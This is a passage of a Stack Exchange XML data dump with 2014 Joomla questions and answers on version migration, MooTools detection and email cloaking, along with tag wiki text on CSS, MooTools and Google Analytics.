  <row Id="3973" PostTypeId="2" ParentId="3967" CreationDate="2014-08-11T14:13:14.573" Score="1" Body="&lt;p&gt;There are database differences between Joomla 2.5 and 3.3. So importing a MySQL dump from a 2.5 site into a 3.3 site will give you some troubles for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best way to migrate is using the inbuilt Joomla updater. Change the udpate stream in the options to &quot;STS&quot; and it will offer you to upgrade to 3.3.&#xA;This will make all the needed file and database changes for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will more than likely need a new template and some extensions may be not compatible (check with the extension developer site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move the site from one host to another, you can use Akeeba Backup to make a backup and restore it on the target host.&#xA;You can also use that software to restore the Joomla 2.5 site on a localhost and do the upgrade locally. Thus not risking to break the existing site :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-11T14:13:14.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3974" PostTypeId="2" ParentId="3971" CreationDate="2014-08-11T14:36:20.910" Score="6" Body="&lt;p&gt;This tool will disable Mootools if necessary, and is compatible with Joomla 3: &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/mootools/22236&quot; rel=&quot;noreferrer&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/performance/mootools/22236&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.0, MooTools has been deprecated, and jQuery is the default javascript framework. In order to add MooTools Core libraries you need to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHTML::_('behavior.framework');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus it depends on your template/extensions if Mootools is loaded or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Google Chrome developer console (and probably in Firefox's Firebug), you can check if MooTools is enabled with this little javascript code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.MooTools ? alert (&quot;MooTools loaded&quot;) : alert(&quot;MooTools NOT loaded&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-11T14:36:20.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3975" PostTypeId="1" AcceptedAnswerId="3976" CreationDate="2014-08-11T14:37:07.833" Score="-1" ViewCount="2266" Body="&lt;p&gt;I found this article about cloaking emails &lt;a href=&quot;http://docs.joomla.org/How_to_cloak_email_addresses&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_cloak_email_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not working for me :(. If I open an article and change to the source-code view and paste in JHtml::_('email.cloak', 'demo@example.com'); the code is interpreted as text not as email link - not to mention that it is uncloaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what I have to do to make that work?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2014-08-11T14:42:57.820" Title="Cloaking Emails does not work" Tags="|emails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3976" PostTypeId="2" ParentId="3975" CreationDate="2014-08-11T14:42:05.377" Score="1" Body="&lt;p&gt;Firstly, please ensure you are using the latest version of your Joomla build, so either 2.5.24 or 3.3.3 as there was a bug fixed for the email cloak in both the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot simply paste PHP into your text editor, this will not work. For Joomla to process PHP or other languages in the editor, you must use a 3rd party plugin such as &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-11T14:42:05.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3977" PostTypeId="2" ParentId="3975" CreationDate="2014-08-11T14:42:57.820" Score="2" Body="&lt;p&gt;The code you're trying to use (&lt;code&gt;JHtml::_('email.cloak','demo@example.com');&lt;/code&gt; is not meant to be used within articles. The page you linked to states clearly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla has inbuilt email cloaking functionality that can be called&#xA;  &lt;strong&gt;within a component or module template&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is an email cloaking plugin included in your Joomla installation, look for &lt;code&gt;Content - Email Cloaking&lt;/code&gt; in the Joomla Plugin Manager and enable it if necessary. Or check the &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/email-protection&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-11T14:42:57.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3978" PostTypeId="1" CreationDate="2014-08-11T15:02:55.310" Score="8" ViewCount="541" Body="&lt;p&gt;What are the reasons for choosing &lt;strong&gt;&lt;code&gt;Joomla! Framework&lt;/code&gt;&lt;/strong&gt; for a web application instead of using &lt;code&gt;Zend Framework 2&lt;/code&gt;, &lt;code&gt;CodeIgniter&lt;/code&gt;, &lt;code&gt;Laravel&lt;/code&gt; etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will its popularity increase sufficiently and will Joomla! site developers migrate from the &lt;a href=&quot;/questions/tagged/cms&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cms&amp;#39;&quot; rel=&quot;tag&quot;&gt;cms&lt;/a&gt; to the &lt;a href=&quot;/questions/tagged/joomla-framework&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;joomla-framework&amp;#39;&quot; rel=&quot;tag&quot;&gt;joomla-framework&lt;/a&gt; soon?&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-11T21:34:32.920" Title="Why using Joomla! Framework?" Tags="|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3979" PostTypeId="5" CreationDate="2014-08-11T15:37:55.293" Score="0" Body="&lt;h1&gt;CSS&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cascading_Style_Sheets&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/a&gt;, short for &lt;strong&gt;Cascading Style Sheets&lt;/strong&gt;, is a style sheet language used for describing the look and formatting of a document written in a markup language. CSS is a cornerstone specification of the web and almost all web pages use CSS style sheets to describe their presentation. In early days, the visual presentation was defined by HTML attributes; then CSS was introduced to separate the control of the visual presentation from the content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic CSS document is made of rule sets. Each rule set starts with a &lt;a href=&quot;http://www.w3.org/TR/css3-selectors/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;selector&lt;/strong&gt;&lt;/a&gt; (a pattern that matches elements in an &lt;strong&gt;HTML&lt;/strong&gt; or &lt;strong&gt;XML&lt;/strong&gt; document) and is followed by a block of one or more property declarations that define the presentation of the matching elements. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* This is a comment */ &#xA;&#xA;a {                             /* Find all &amp;lt;a&amp;gt; elements(HTML links), */&#xA;    color: orange;              /* change their text color to orange, */&#xA;    background-color: pink;     /* their background color to pink, */&#xA;    text-decoration: none;      /* and remove the underline. */&#xA;}&#xA;&#xA;a:hover {                       /* But when you hover over an &amp;lt;a&amp;gt; element */&#xA;    color: red;                 /* change the color to red */&#xA;    text-decoration: underline; /* and add an underline again */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The simple example above also illustrates why they are called &lt;em&gt;cascading&lt;/em&gt; style sheets. When you hover over a link (i.e., an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element) in &lt;a href=&quot;http://www.htmldog.com/guides/cssbeginner/applyingcss/&quot; rel=&quot;nofollow&quot;&gt;an HTML page with this style sheet applied to it&lt;/a&gt;, &lt;em&gt;both&lt;/em&gt; rules apply. So, the link will have a pink background. But, since the &lt;code&gt;a:hover&lt;/code&gt; selector is more specific, its &lt;code&gt;color&lt;/code&gt; and &lt;strong&gt;&lt;code&gt;text-decoration&lt;/code&gt;&lt;/strong&gt; properties override those from the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; rule set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.w3.org/TR/CSS2/cascade.html#cascade&quot; rel=&quot;nofollow&quot;&gt;cascading order&lt;/a&gt; defines how &lt;a href=&quot;http://www.stuffandnonsense.co.uk/archives/css_specificity_wars.html&quot; rel=&quot;nofollow&quot;&gt;specificity&lt;/a&gt; and other factors determine which property value is applied to an element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more CSS, continuing from the example above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Selectors with greater Specificity override less specific ones */&#xA;#article a.tag {&#xA;    color: #F00;&#xA;}&#xA;&#xA;/* Complex selectors can be created from joining multiple simple ones together */&#xA;#sidebar &amp;gt; h3 + p a:first-child {&#xA;    border-bottom: 1px solid #333;&#xA;    font-style: italic;&#xA;}&#xA;&#xA;/* It is also possible to style elements depending on an attribute */&#xA;div[id] a[target=_blank] {&#xA;    color: white;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Selector precedence&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Each component of a CSS selector can be based on one of three possible attributes of an HTML element:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The element's ID (from the &lt;code&gt;id&lt;/code&gt; attribute)&lt;/li&gt;&#xA;&lt;li&gt;The name of one of the element's classes (in the &lt;code&gt;class&lt;/code&gt; attribute)&lt;/li&gt;&#xA;&lt;li&gt;The element's tag name&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Selectors using an ID selector have higher priority than selectors using class names, and selectors using a class name have higher priority than selectors using tag names. This is called selector precedence. &lt;code&gt;!important&lt;/code&gt; can be used to override the selector precedence. Whenever possible though, higher specificity should always be used instead of &lt;code&gt;!important&lt;/code&gt;, in order to prevent overrides on any other styles that might need to be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Creates an anchor with a class of class1 and an ID of anchor1 --&amp;gt;&#xA;&amp;lt;a class=&quot;class1&quot; id=&quot;anchor1&quot;&amp;gt;Sample&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a {                 /* anchor element */&#xA;    color: orange;&#xA;}&#xA;&#xA;.class1 {           /* any element with class name class1 */&#xA;    color: red;&#xA;}    &#xA;&#xA;#anchor1 {          /* the element with id anchor1 */&#xA;    color: green;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, the color of the string &quot;Sample&quot; will be green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeated occurrences of the same selector also increase specificity, as noted in the &lt;a href=&quot;http://www.w3.org/TR/css3-selectors/#specificity&quot; rel=&quot;nofollow&quot;&gt;Selectors Level 3 W3C Recomendation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.class1.class1 {    /* repeated class selector */&#xA;    font-weight: bold;&#xA;}&#xA;&#xA;.class1 {&#xA;    font-weight: normal;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the repeated selector has higher specificity than the singular selector and the &lt;code&gt;font-weight&lt;/code&gt; of our sample string will be bold.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/CSS2/&quot; rel=&quot;nofollow&quot;&gt;W3C CSS2.1 Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/css3-selectors/&quot; rel=&quot;nofollow&quot;&gt;W3C CSS3 Selectors Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot; rel=&quot;nofollow&quot;&gt;W3C CSS3 Media Queries Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/Style/CSS/&quot; rel=&quot;nofollow&quot;&gt;W3C Cascading Style Sheets home page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://way2tutorial.com/css/tutorial.php&quot; rel=&quot;nofollow&quot;&gt;Way2Tutorial CSS Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://reference.sitepoint.com/css&quot; rel=&quot;nofollow&quot;&gt;SitePoint CSS Reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://htmldog.com/&quot; rel=&quot;nofollow&quot;&gt;HTML Dog: HTML and CSS Tutorials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dev.opera.com/articles/view/27-css-basics/&quot; rel=&quot;nofollow&quot;&gt;Cascading Style Sheets on the Web Standards Curriculum&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/the-30-css-selectors-you-must-memorize/&quot; rel=&quot;nofollow&quot;&gt;The 30 CSS Selectors you Must Memorize&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/WCAG20/&quot; rel=&quot;nofollow&quot;&gt;W3C Web Content Accessibility Guidelines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dochub.io/#css/&quot; rel=&quot;nofollow&quot;&gt;DocHub Instant Documentation Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devdocs.io/css/&quot; rel=&quot;nofollow&quot;&gt;DevDocs - Documentation Searching Service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;CSS Pseudo Selector&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://way2tutorial.com/css/css_pseudo_class_selector.php&quot; rel=&quot;nofollow&quot;&gt;CSS Pseudo Class Selector&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Validation&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jigsaw.w3.org/css-validator/&quot; rel=&quot;nofollow&quot;&gt;W3C CSS Validation Service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://csslint.net/&quot; rel=&quot;nofollow&quot;&gt;CSS Lint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cssportal.com/css-validator/&quot; rel=&quot;nofollow&quot;&gt;CSS Portal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Browser Support&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en/Mozilla_CSS_support_chart&quot; rel=&quot;nofollow&quot;&gt;MDN: Mozilla CSS support chart&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc351024%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN: CSS Compatibility and Internet Explorer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.opera.com/docs/specs/presto29/#opsupport&quot; rel=&quot;nofollow&quot;&gt;Opera web specification support pages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.konqueror.org/css/&quot; rel=&quot;nofollow&quot;&gt;Konqueror CSS support&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.quirksmode.org/css/contents.html&quot; rel=&quot;nofollow&quot;&gt;QuirksMode CSS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://caniuse.com/&quot; rel=&quot;nofollow&quot;&gt;When can I use... Compatibility tables for CSS3 and more&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.css3.info/selectors-test/&quot; rel=&quot;nofollow&quot;&gt;CSS3 Selectors Test&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_layout_engines_(Cascading_Style_Sheets)&quot; rel=&quot;nofollow&quot;&gt;Wikipedia: Comparison of layout engines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;CSS Pre-processors&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lesscss.org&quot; rel=&quot;nofollow&quot;&gt;LessCSS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sass-lang.com&quot; rel=&quot;nofollow&quot;&gt;SASS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://learnboost.github.com/stylus/&quot; rel=&quot;nofollow&quot;&gt;Stylus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Reset Stylesheets&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://meyerweb.com/eric/tools/css/reset/&quot; rel=&quot;nofollow&quot;&gt;Eric Meyer's reset.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://html5doctor.com/html-5-reset-stylesheet/&quot; rel=&quot;nofollow&quot;&gt;HTML5 Reset Stylesheet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://csswizardry.com/2011/10/reset-restarted/&quot; rel=&quot;nofollow&quot;&gt;CSS Wizardry Reset restarted&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://necolas.github.com/normalize.css/&quot; rel=&quot;nofollow&quot;&gt;Normalize.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;CSS Frameworks&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blueprintcss.org/&quot; rel=&quot;nofollow&quot;&gt;Blueprint&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://960.gs/&quot; rel=&quot;nofollow&quot;&gt;960 CSS Framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.jquery.com/UI/Theming/API#The_jQuery_UI_CSS_Framework&quot; rel=&quot;nofollow&quot;&gt;jQuery UI CSS Framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yaml.de/en/&quot; rel=&quot;nofollow&quot;&gt;YAML&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.yahoo.com/yui/grids/&quot; rel=&quot;nofollow&quot;&gt;YUI CSS Grids&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getbootstrap.com/&quot; rel=&quot;nofollow&quot;&gt;Twitter Bootstrap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://foundation.zurb.com/&quot; rel=&quot;nofollow&quot;&gt;Zurb's Foundation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getskeleton.com/&quot; rel=&quot;nofollow&quot;&gt;Skeleton&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://inuitcss.com/&quot; rel=&quot;nofollow&quot;&gt;inuit.css&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;The Future&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following currently have very little (if any) browser support and are still a work in-progress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/selectors4/&quot; rel=&quot;nofollow&quot;&gt;W3C Selectors Level 4 Draft&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3.org/TR/css-variables/&quot; rel=&quot;nofollow&quot;&gt;W3C Custom Properties (CSS Variables) Draft&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Chat Room&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Chat about CSS (and HTML / DOM) with other Stack Overflow users:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chat.stackoverflow.com/rooms/29074/html-css-dom-web-design&quot;&gt;HTML / CSS / DOM &amp;amp; web design&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:44:39.553" LastActivityDate="2015-08-21T15:44:39.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3980" PostTypeId="4" CreationDate="2014-08-11T15:37:55.293" Score="0" Body="CSS (Cascading Style Sheets) is a style sheet language used for describing the look and formatting of a document written in a markup language." OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:45:09.973" LastActivityDate="2015-08-21T15:45:09.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3981" PostTypeId="5" CreationDate="2014-08-11T15:48:19.210" Score="0" Body="&lt;p&gt;MooTools is a compact, modular, object-oriented prototypal JavaScript framework designed for the intermediate to advanced JavaScript developer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MooTools is deprecated in Joomla 3.x&lt;/strong&gt;, but is still included, and the libraries can be added to Joomla templates/extensions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add both MooTools Core and MooTools More libraries, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Hello World example:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.addEvent('domready', function(){&#xA;    document.getElements('a').addEvent('click', function(event){&#xA;        event.stop();&#xA;        console.log('hello world from link with href ' + this.get('href'));&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;MooTools Resources&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Online Resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mootools.net/docs/core&quot; rel=&quot;nofollow&quot;&gt;MooTools Core Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mootools.net/core&quot; rel=&quot;nofollow&quot;&gt;MooTools Core Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mootools.net/docs/more&quot; rel=&quot;nofollow&quot;&gt;MooTools More Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mootools.net/more&quot; rel=&quot;nofollow&quot;&gt;MooTools More Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mootools.net/forge/&quot; rel=&quot;nofollow&quot;&gt;MooTools Plugins Forge Repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mootools&quot; rel=&quot;nofollow&quot;&gt;MooTools on GitHub&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MooTools Extensions / Utilities&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://moobilejs.com/&quot; rel=&quot;nofollow&quot;&gt;Moobile&lt;/a&gt; - a new mobile application framework launched in April 2012 that is similar to jQuery Mobile in terms of the functionality it affords&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://epitome-mvc.github.io/Epitome/&quot; rel=&quot;nofollow&quot;&gt;Epitome&lt;/a&gt; - a MVC/MVP framework for MooTools 1.4.5&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cheeaun.com/projects/moodoco/core.html#Core/Core&quot; rel=&quot;nofollow&quot;&gt;MooDocu&lt;/a&gt; - a browser-based, client-side MooTools documentation parser with search; it works off-line through &lt;code&gt;localStorage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MooTools Books&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.amazon.co.uk/MooTools-Essentials-JavaScript-Developement-FirstPress/dp/1430209836/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;MooTools Essentials&lt;/em&gt;&lt;/a&gt; by Aaron Newton&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.amazon.co.uk/MooTools-1-2-Beginner%2527s-Guide-Gube/dp/1847194583/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;MooTools 1.2 Beginner's Guide&lt;/em&gt;&lt;/a&gt; by Jacob Gube and Garrick Cheung&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1430230541&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Pro JavaScript with MooTools&lt;/em&gt;&lt;/a&gt; by Mark Obcena (MooTools 1.3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:41:55.023" LastActivityDate="2014-08-11T18:41:55.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3982" PostTypeId="4" CreationDate="2014-08-11T15:48:19.210" Score="0" Body="MooTools is a compact, modular, object-oriented prototypal JavaScript framework designed for the intermediate to advanced JavaScript developer. MooTools is deprecated in Joomla 3.x." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:41:49.907" LastActivityDate="2014-08-11T18:41:49.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3983" PostTypeId="5" CreationDate="2014-08-11T15:49:47.130" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.google.com/analytics/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics&lt;/a&gt; is a service offered by Google that generates detailed statistics about a website's traffic and traffic sources and measures conversions and sales. The product is aimed at marketers as opposed to webmasters and technologists from which the industry of web analytics originally grew. It's the most widely used website statistics service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic service is free of charge and a premium version is available for a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Analytics can track visitors from all referrers, including search engines and social networks, direct visits and referring sites. It also displays advertising, pay-per-click networks, email marketing and digital collateral such as links within PDF documents.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;APIs that are part of Google Analytics&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Collection APIs &amp;amp; SDKs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These libraries that can be used by website developers/webmasters or mobile app developers to track user interaction data and send it to Google Analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/collection/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Configuration APIs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Can be used to retrieve all management information on Google Analytics: Users, Profiles, Goals, Filters, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/config/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/config/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reporting APIs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The reporting APIs can be used to retrieve report data that is present on the Google Analytics interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/reporting/&quot; 